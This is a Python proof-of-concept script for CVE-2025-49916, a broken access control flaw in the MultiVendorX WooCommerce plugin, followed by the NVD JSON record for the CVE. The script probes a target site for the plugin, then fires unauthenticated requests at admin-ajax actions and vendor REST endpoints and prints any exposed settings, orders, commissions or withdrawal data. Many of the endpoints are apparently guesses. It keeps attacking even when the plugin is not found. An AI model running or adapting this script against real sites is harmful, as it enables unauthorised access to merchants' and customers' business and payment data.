CVE-2025-49916

# CVE-2025-49916 - MultiVendorX Missing Authorization PoC # Vulnerability: Broken Access Control in dc-woocommerce-multi-vendor <= 4.2.23 # This PoC demonstrates how an unauthenticated attacker can access # functionality that should be restricted by ACLs. import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" # Step 1: Identify the MultiVendorX plugin def check_plugin(): """Check if the target site has MultiVendorX plugin installed""" endpoints = [ f"{TARGET_URL}/wp-content/plugins/dc-woocommerce-multi-vendor/readme.txt", f"{TARGET_URL}/wp-content/plugins/dc-woocommerce-multi-vendor/" ] for endpoint in endpoints: try: resp = requests.get(endpoint, timeout=10, verify=False) if resp.status_code == 200 and ("multi-vendor" in resp.text.lower() or "multivendorx" in resp.text.lower()): print(f"[+] MultiVendorX plugin detected at: {endpoint}") return True except Exception as e: continue return False # Step 2: Exploit missing authorization on admin endpoints def exploit_missing_auth(): """ Exploit the missing authorization vulnerability. The plugin fails to verify user capabilities on certain AJAX/REST endpoints, allowing unauthenticated access to privileged functionality. """ # Common vulnerable endpoints in dc-woocommerce-multi-vendor plugin vulnerable_endpoints = [ # Admin AJAX actions that may lack proper nonce/capability checks f"{TARGET_URL}/wp-admin/admin-ajax.php", # REST API endpoints f"{TARGET_URL}/wp-json/wc/v2/", f"{TARGET_URL}/wp-json/dc-product-vendor/v1/", # Vendor dashboard endpoints f"{TARGET_URL}/vendor-dashboard/", f"{TARGET_URL}/my-account/vendor/", ] # Test admin-ajax.php with various actions that may be unprotected ajax_actions = [ "wcmp_get_vendor_dashboard", "wcmp_vendor_product_list", "wcmp_settings", "wcmp_save_settings", "wcmp_get_orders", "wcmp_withdrawal_request", "wcmp_transaction_details", "wcmp_vendor_announcements", "wcmp_coupon_list", "wcmp_shipping_zone" ] print("[*] Testing for missing authorization on MultiVendorX endpoints...") for action in ajax_actions: try: # Attempt unauthenticated access to privileged functionality resp = requests.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data={"action": action}, timeout=10, verify=False ) if resp.status_code == 200 and resp.text and "0" not in resp.text[:5]: print(f"[+] Potential vulnerability found with action: {action}") print(f" Response: {resp.text[:200]}") except Exception as e: pass # Test REST API endpoints rest_endpoints = [ "/wp-json/dc-product-vendor/v1/vendor-settings", "/wp-json/dc-product-vendor/v1/vendors", "/wp-json/dc-product-vendor/v1/commissions", "/wp-json/dc-product-vendor/v1/withdraw-requests", ] for endpoint in rest_endpoints: try: resp = requests.get(f"{TARGET_URL}{endpoint}", timeout=10, verify=False) if resp.status_code == 200: print(f"[+] Accessible REST endpoint: {endpoint}") print(f" Response: {resp.text[:200]}") except Exception as e: pass if __name__ == "__main__": print(f"[*] CVE-2025-49916 PoC - MultiVendorX Missing Authorization") print(f"[*] Target: {TARGET_URL}") print("-" * 60) if check_plugin(): exploit_missing_auth() else: print("[-] MultiVendorX plugin not detected on target") print("[*] Proceeding with exploitation attempt anyway...") exploit_missing_auth() print("\n[*] PoC execution completed") print("[*] Note: This PoC is for educational and authorized testing purposes only")

{"cve": {"id": "CVE-2025-49916", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:37.573", "lastModified": "2026-04-27T20:16:16.893", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in MultiVendorX MultiVendorX dc-woocommerce-multi-vendor allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects MultiVendorX: from n/a through <= 4.2.23."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/dc-woocommerce-multi-vendor/vulnerability/wordpress-multivendorx-plugin-4-2-23-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}